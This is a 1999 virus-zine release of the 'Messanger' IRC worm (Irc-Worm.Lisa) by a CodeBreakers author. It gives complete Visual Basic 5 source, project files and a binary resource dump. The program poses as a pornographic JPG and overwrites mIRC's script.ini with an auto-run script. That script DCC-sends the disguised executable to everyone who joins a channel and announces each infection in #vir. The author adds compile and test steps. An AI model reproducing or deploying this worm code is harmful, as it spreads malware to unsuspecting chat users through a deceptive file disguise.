***************************************************************************** Name: Messanger Worm (aka Irc-Worm.Lisa) Author: Opic Group: CodeBreakers date: 1999 Type: Worm (mirc) Language: Visual Basic 5 size: 26.5kb Comments: Yes, this is what happens when I can't sleep but dont want to do any REAL coding. Info: Messanger is sent as a file called "Lisa_tits~1JPG.exe" when this file is run the program displays a bit of Pr0n and drops a script.ini file into the c:\mirc directory. The lastest version of mIRC (5.51) will use this script.ini on the next starting of the program. The script itself assumes that: 1)Lisa_tits~1JPG.exe is in the default download mirc directory (c:\mirc\download) 2)That mirc is installed in its default path. May not work with some earlier versions of mirc (some earlier versions of mirc will auto rename script.ini to script.old, but this seems not to be the case anymore). The script added is: [script] n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\ Lisa_Tits~1JPG.exe } n1=on 1:CONNECT: { n2= /join #vir n3= /msg #vir Greets to Opic & the CodeBreakers! Meet another 'Messanger' infected user! To test: 1)Have or install mIRC v5.51 2)Place Lisa_tits~1JPG.exe (Messanger) in c:\mirc\download directory and execute it. 3)This will install the script.ini file in c:\mirc 4)Run mIRC and watch those pr0n lovers gobble jump for joy! Disinfection: simply delete script.ini (ie: its safe as all hell to test, and fun at least to check out the pr0n). NOTE: all the files needed to make messanger have been put into one txt file here for the zine, to compile them just cut and paste them into thier own files (duh). ***************************************************************************** <-SNIP Messanger.FRM SNIP-> VERSION 5.00 Begin VB.Form Form1 BorderStyle = 1 'Fixed Single Caption = "Lisa_Tits~1.JPG" ClientHeight = 4170 ClientLeft = 45 ClientTop = 330 ClientWidth = 2730 Icon = "messanger.frx":0000 LinkTopic = "Form1" MaxButton = 0 'False MinButton = 0 'False ScaleHeight = 4170 ScaleWidth = 2730 StartUpPosition = 3 'Windows Default Begin VB.PictureBox Picture1 Height = 4215 Left = 0 Picture = "messanger.frx":030A ScaleHeight = 4155 ScaleWidth = 2715 TabIndex = 0 Top = 0 Width = 2775 End End Attribute VB_Name = "Form1" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Sub Form_Load() On Error Resume Next Kill "c:\mirc\script.ini" Open "c:\mirc\script.ini" For Output As 1 Print #1, "[script]" Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\Lisa_Tits~1JPG.exe }" Print #1, "n1=on 1:CONNECT: {" Print #1, "n2= /join #vir" Print #1, "n3= /msg #vir Greets to Opic & the CodeBreakers! Meet another 'Messanger' infected user!" Close 1 'Messanger Worm '(c) Opic [CodeBreakers 1999] End Sub <-SNIP Messanger.FRX SNIP->  lt       ( @     w wwx w wwwwwwx w wwx ww w w wwxx wwwx www wwwxww wxwp wwx wwww w wxww xx wx wwx ww www xwwxwww www ww   p x   x xx w xww  F lt F JFIF  H H C   !"$"$ C  "      B    !1"AQaq2#BR$3Cbr%Sc     (   !1"A#2Q3aBq   ? =U <}E¤H#6n*l6c^?A~6̶VU&w'$現iHl;kbxd"+8€5?[8Y_*U7bMM_k72!ǐ@sTYEo٨ #5vߦ=Ɇau.?s7Qe.qH9 ?0Jp[Zy|G3(ċXdw]팶U 4P67 _1"l(b[%6xMU2 Ll #tY,ev岏308$ y4;bӓCz_7Ӳ,٨C rA^Jt`k)cNBDr,"C{TXU5؞1k@|8RGVϗacg_J û#|8Hc0p5b̀T6|ܺ&+ }&K~_uE ՇOc ]}0Ht |lI]-4LeRm=+!hpD qƭCԋ1 pu3x] nEdf&#J, Č:r 8 X/ ,l=9q^2W9F]Z`xX&{PMF@,GV8<f\/c/F*)8(+u?5qD}:Wzn.~QJLUpP9[ 3fY9\ܔn%* wM۳^3Sʹ脚~N]чqAIA%J^187EfܖG@+u5qڃsq{lD^?KN|iyZ f2y0PZ7Kc URM.C "(b*; "X9|ѵ=Cb7 ..Ӽ*ŝ`w`Kвv %\+B _3ȨElA yWƽ+Y4xZspUW7yNV>PC(ir9eMkSM-59k1FVW{K OBrG#ϚhLf#96-g6tYYLo6O9YJrD;W-[GMKhmseǗvK/) ++$a"Pl֛tf/ V=G{ơG\v8#΍^Xg2FmQ|NO #q&G*}G 9zX'hm- ,`N XEBЙw8۔G7*>1qwqCQZ2* 7 ❫]y`c~=LY

`8$ `2[ slJrR GacQF/9Gt4}92tfJҷV2ɖJ<c'5[%# RViFK[r5ډhn"HV," o73bǛ\pe!HZ;Yy,]SS_w\0g ڢ̞a, u~ L9VFT|ĴV žr:n8"3jj {sq4#Sa̮W!E"Y 3){J++d5AJ\R ( =cn{Yizz=͆1#u [ߊ+qvط酌 8XVF %zZr! nG?N8?Ҳ5 ZU)$H,~`Mק?E< LYd% /4MR=W?0-e0hZKv>.ox2h%Dn[nE O4,Rޛ}Nop%J"bJF 7<)|Ekha+@Kf) sHEÑϡ})3ԝ'j}LI ,| ls#ZoVhv?9g5YLr(m,ws'Ď2IIjKAwӥ[kQwJw^) z j]([Zm dGGr|/o|R.c52Y0lУdr/ 2{S`Ե)S(}IrOԚWI w7X'9", ˪Hb*?cݧeha/#bQOIp7;o5͘г:Q,]7$Ukk9ӓ~'vJ9Z`:{1C6O=ɮRCpSFqx(5.ac-cBLZరnØ4mốDvC[ רÔӊ4 ~O ~Ōh66S5],4сVln~}Afܵ\$tضya5D}|i+zXYO 7ʔ裺+_23nx'1JX܏lz/KhWa 74?`ΰW=L$EVf]n'} :V IFY @JG郘|?/m 829"G'srZ[do't93{U6ĜSwOʹcn!$}w`&!P8_\ bUWxRKq];L-A*Y3 A$t2YtecE(ײ] SifRTŘ$v(c:lnC)jFEW#ľ+9m$|s][\dޱx$Aiq]o i>:XHҲz),nRD1$gn9[`d'u)AK]B| |5G6@#\dN9ok(AA;݄*Ec9Eu9wE'9΄c Dl>i /oyo ޟ<@N͈ o/Ob\ ,o0WFAìYqq?c>e,V%tsMKx<̯B+Jf'ulA ׈# \J􊬚DR-xZ$sRyJ}/ӑ(:PB# 8!;ې>dV-Ix>U͔˚>|7h>*ҀFVEc~ le_fԧH旤:'n{C!md ʀq9 "MYeGә)CU3SHvb}hGKkZnPalf")`wψSC6Af2 5eYE>~0 0椂KJeRmVӹb(8],(,q_HLIPş}[ӽ@FDZT9iLŌ A'x]rqz\imn&ǖi HJomtmG59h2t+)'ʽ d).pPu@D;-bW+`yx!+02ϗ/A\X&"baxc˴m.Jŧ2o&m1V&xLYMG(hs/̆*kϯ;h; 7-j]psyf0 f A~XGԜ6Rٌqe-*=G6Z &u0 ^N7gU]/ ,'ۓ<^tъM-?&{8Xǃbl:}JmʫIv/kr4' 6濞3(8 ihݟ4D;)7"\ ߇̼|'qUW]$Uӎמx3UsI; G{)";!5ĂWg&1mƼz_2+THę&=$}q9?$,6빪edc-i[.Zs*K))=OKE&Dxs}+_3?ɝG>}O|?]|}.촭ԃqW }kI7WdR,}3W0B,+cZ"2=ȫ_-3X5o$6bͩK^HZ_Wd3YJrooJc ǩ$N4h}MXMmjpMH4{H"HyN#d1ݛi]9ćUt~ՙArC6|XJѴdٔ=?å2IG)Yfzc~Ib.[9y |yW{CfL>9^Ŝʈ7GsZUaJ| uճV e AIBpcY2(UM .>ǧsOxg6q R7?OL%ܙi{3o,W$*t8o}*-I( %V,RXb_u|YsŒG8qfq_06ֵ>ffRi=i ^p0?ƪὈ+˥4Ȑ͝39m,QJ xG\f3u)eHJ,`Bh9` Yo3\4]08~nqP14$lH;3UdN)NZ֜uq+EK4,ſ)_bSYb#0mn*>勶.q3#;]sNT:J"E Hn2E֛TZqm0Y>so<{ŜJ(㿧n w+;0PckbPW>HM1ac1,,PDIbM{mӀ@Ȯ}=;.42y|ǃކ6h+٪}Gt!ˀv<_{~~UyMK[V-IagjA|nӼYUv&r6v$ߵ RNj$W!*YRUx=~ޣ*cHݳd*$l,|_^5f(QR/ cN`!"R Ch,} Ґ~ zyR3utWrAn&~CNZA?=Lsk95ȡT@; D ,eX ƘG>?|ChG2c=hezaZKy,9f̪Qb!>B B~7X_WeVi.6 bNslBXK9`T$:|?u|ѓ5"D J܊<^ TF''G;aȠN;y S))Ĵy|IZ ? ǒՒD2NӺZ<֫~B$@<+F m:Ȫ$ڵ7m׺*t63.Nb X! wⷵ)lP&ɿZ9CY#3>˴ 5`E /x!^_D};5Aߒ}%YB[<OokFS$K>)rŁ;EmAf2O ,qA'tǀM$j_**4^1 A>{qTlΧ uܣ2y6 8Q ڠF!>(u$r9|e_jo@7Hքr:Me3/eef&bIbO$q1SB sI'X"*P]QZ_LRzeb*f}E! .;~j劄P 'U5+{]U~u_Z`'~$futY޼CPr9 Śb boz&wHC#!;E_\:&Hkm˴y?/o=>/ES97dV ]_aaWJD[pE(- P4 f8 0qJd4mA"y-H_Ĺt MTXmE(:SH:j,M8範p'jO-ٺhE1q1T)Ep@gھw?,o!+Qʼna Ǝ(Uyww&Jr;__\XjH;E?qGʾ-?nspa&U5`(rmiI wQ<ӵ970 =@Y+6۳dyG~jUZE )_c~^ +$֤ho%)Z-PoP"*;A*=K`co)g د_L9 "T}1f]tKd0": ޗ :nW1!RsBzw퍌!(+x؊u2@YϕVM{GS6 m,F|q|)=# $Dr(d;Txg0` LX*M3M4H𥜴V.{_Տoa22 L Ϡ7F/:Vi Uu'ģG+9=\؞بTz1dBdr.Mخ+te* #n÷qBܼLjh `T.=LOi,TQ`zS{r4-pm } dU@-O{*M k~BwK[yg M[@)LyT"p$ꜲȌсD{=`ef(W}C6`,{\y額L~O r23@ 99q\ g%r1 ۵ |9]4@ f@=+*ʒR@ D~u PE~Oʧ6 eI|F,>Ao} ةciP؟;;od z|/>:3F컬u&Z8r $CR+x>q~tj  */nqGVG1N|V&yBUrl>QXmˣ3y:L鞖}cVZBda|ąMFͱ<б:uRKjE!X"EY$McoW>w5yI˙# vB{V@z^%4LFI<(E-Fv0՜8;E؟,Z3S*Pn ,+D˹惃 p;aZ"%9ABEC=xbٓeo }8;b} !uQ`@+Zl.A~ؘO^r>1(zMrh%&wT(Yc<};B\iQ 7Q_މ4IB(@5}Nҗ%54@#m ^K.]KE }p̌?m6iBH |''LDRLc~ Ew58nO[!ƞ,MlZ6OՈSJA%*H 4/mHݛ"@sr2+,ApJoN h:kFYtƩY I2y$'ʑ؁ Pnqsչ3?ݪT+傡Zle*,A>12<ђI2@qHWΕ$A9v-dlxZ6t9KyH  bh0.E_ZHѩP[EuW$9aȪ37 P{5L,X>C q$ ]텆O *<i cU< l]?[Ҷ139RE b~7 -f~xȒ ĺLJ^Os@ ҠMǞ 0~Fi *DB/ȮWXy" YME0$}*x(C7%ACV*nθ`мh 5G|4+paa _ǰzM/#LJ{mrkLE 4x.!nߙ`w?,7n ECձ?fkГ#GBCOf-}!C~9,9"9Ǚ GeY 3F @h6 Ǖ|gi'LXH9WX+(FCG:^YX)#wvl!t0fE(sHEU}w7ԏ."1ڞ[ ߋ { Vܥl0=zhdkFsU3d#"$ Eq_`<%u&չ%(8k\;05EɚP5 xr5}s}0"6ey0IqٵH} 6uo i'obcwocʅ4v@4E ǐG atxs$z81 @wmߓufǿ9\b V%o=Zno1NGF\é{U@~=? `~is i d ߞ΃{c-$R5$+$]$ ZA~;`1 e1HKбnݎ H_βS"x s Ƅ/'<($k\wtTeIsapHETnr= ِѠ_`m~|CJ!Ѻ~[0ĬѕPyb rm{7g֝!Bp Os2J< LJ\ůk_Ő%p~29MY=E,"O9X2 {cU#w=fwnxaƔ~W n[6E Ww kk@zi-0[9 #'mt_ 5H=e9eaVsOٸd0B2`#xֲ2tZx1nr/e*HxUmV^ 5J0ͤEF soCI IJw@?ES&y ",bapKPRMp{*~1Z2]LԳэJ*#}wr'VCfH]cS2ث-&cQp1L]1[K= bRc,-SBpM>jGia%0>.Kg>ncٿyPbⷛcq@B.9ae.׼D+"d >Q[б OlfBZ5/[A!,,PXcά 1 k~@n;Z791*`MO3ab46^tWJ4MUU!D6no1ͭl1)< j #k"ҸYd,V-zҪαf"wqWLC5^V UҒkk SwffYb$fk(]w Q7,y"y}'ˮÕ39E䲷xƘչX0ls3/,}IiEp;˨ 5*Ԑ |" yl%ee'kĖ⬾綏 K/Si3晄w<9O7ŋ8|5_Yu,rG$D~zWSHuQMߨpuXt$ƹ}CU5o(00$,nS4 M_\\2O`Yow }/,3iUic-<wfH7b|3IѵI!W͎TMv.:3%GLٹlff.i]C /N".1֣1GKFWi<2)wn,ZiSU߫jy3tŝFBgO2Z#7@nĩ 7ļJ #6Ǘ1WIaS㵞*lh ʧskyUXαHw_,XqJHܧPB}]4;>--B$Ua] r~x WA23"wcW * xb.kQ[0rrXfcXQ |+9ޯSHK!$Yy7bY}y^aL3Z֡CUT ą^<:kM9t+-ǚerXӏ =~f+7'a\wNwޣGhrۛtiK%yy|ǔ0F/,~^U&UýB/ (?{wƨ*Q/&mW5T&vI[TZ=q$mY1%TH% kۓ IEqOnX<RޑMMrzfjg!OIk;:sZ,đ \ǾeK.Ŭ( O&TirbRmf녏(.BNlG^x@6oo|{-RE!"$ݖڬ:_Q ǚ qtg&EJ+}1ɠyEm_"?HthU$8/޸W)qznb\RH{Fu+arLe cwP,?S^g9Hf7{Gh_]ϋ#F<ђʼn @acI:3QLٕ4s祵_jIW&C L <1Ҁ^Jδ׃"̣BJ $՚|)[;X?^P@W;RAdE(,6m ܷߏ|QXS{&!eYJVX迮- ܞז#j-\8 /PNӦ fm(HmOlND Ը7ΨJ̟7+0cE>!~S'YuEA6ʶ'9-p n7^ ũ-;4CM`w Awb7ZFI]<{W3XXpCҽoұML9k24O#nE q\>yQHU[|j q' +&hI$~_LY$u$Y,J+(Rjϯ|rč~}CSI# o;'5ɺ8y+z6͚rMae$!Tϸ8l= 7x{9~O-}c-7QJ1#3t(k׋0xA^6e xd }57 ?l")4oess砏OfZFwx~ޒ֣̔%U&7}ǘ=H*}v`׮iiL9][Pؓ1O6u /rE^G@Jl$[?2`O*dw?Op{wwQb%2\-rp0wV?iӑ(+, qߗg6M|M[r,'Tr5jgG7= ᦿFpM7q90Ƙlno&"7u0&&BMmA zZTo"ecbNv wf!wS'XX`;Ú)#@sƸ`WKQSDi|Td2Yv sɳOٍgQ3H37&D(Kb}킐4I䱰I'4^XZ T $;ھ{ T>|bV X *?犏h:;e$x ,mHd(a͒yOxBXXXYc=pQ0=F6G,,CUa.r9i32)ًzsg["ΠC6#x NޒRI8N`%k -JRI9-ȇr<~ Fߑ{#!8d2 5cnrY,)*fvtv酅R~jRtX Qwߓqz"caac/O_/$];ӺfObs:AWG'߿Ҝu1O>ޞ1Q @%rw| )UÜO#%€XXX <-SNIP messanger.VBP SNIP-> Type=Exe Form=messanger.frm Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\WINDOWS\SYSTEM\StdOle2.tlb#OLE Automation Startup="Form1" ExeName32="messanger.exe" Command32="" Name="Project1" HelpContextID="0" CompatibleMode="0" MajorVer=1 MinorVer=0 RevisionVer=0 AutoIncrementVer=0 ServerSupportFiles=0 VersionCompanyName="y" CompilationType=0 OptimizationType=0 FavorPentiumPro(tm)=0 CodeViewDebugInfo=0 NoAliasing=0 BoundsCheck=0 OverflowCheck=0 FlPointCheck=0 FDIVCheck=0 UnroundedFP=0 StartMode=0 Unattended=0 ThreadPerObject=0 MaxNumberOfThreads=1 <-SNIP messanger.VBW SNIP-> Form1 = 44, 44, 359, 368, C, 22, 22, 337, 346, C